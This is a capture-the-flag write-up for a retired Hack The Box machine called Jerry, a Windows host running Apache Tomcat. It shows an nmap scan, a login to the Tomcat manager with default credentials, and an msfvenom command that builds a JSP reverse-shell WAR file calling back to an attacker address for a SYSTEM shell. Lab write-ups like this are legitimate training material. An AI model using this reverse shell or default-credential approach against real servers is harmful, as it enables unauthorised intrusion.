Jerry
| Name: | Jerry  |
|---|---|
| Release Date: | 30 Jun 2018 |
| Retire Date: | 17 Nov 2019 |
| OS: | Windows  |
| Base Points: | Easy - Retired [0] |
| Rated Difficulty: |  |
| Radar Graph: |  |
 | echthros  00 days, 03 hours, 06 mins, 18 seconds |
 | echthros 00 days, 03 hours, 06 mins, 29 seconds |
| Creator: | mrh4sh  |
| CherryTree File: | CherryTree - Remove the .txt extension |
Enumeration
Again, we start with nmap -sC -sV -oA -Pn ./jerry 10.10.10.95.
$ nmap -sC -sV -Pn -oA ./jerry 10.10.10.95
Starting Nmap 7.80 at 2020-04-07 10:37 EDT
Nmap scan report for 10.10.10.95
Host is up (0.070s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88The only open service is Apache Tomcat on TCP 8080. The Manager App at /manager/html requires authentication, but the default credentials tomcat:s3cret work.
Tomcat Manager Exploitation
The Manager App allows WAR deployment. Generate a JSP reverse shell WAR file:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.27 LPORT=9999 -f war > shell.warUpload and deploy shell.war, start a listener, and browse to the newly created /shell path. The reverse shell lands directly as NT AUTHORITY\SYSTEM.
The user and root flags are stored together at C:\Users\Administrator\Desktop\flags\2 for the price of 1.txt.
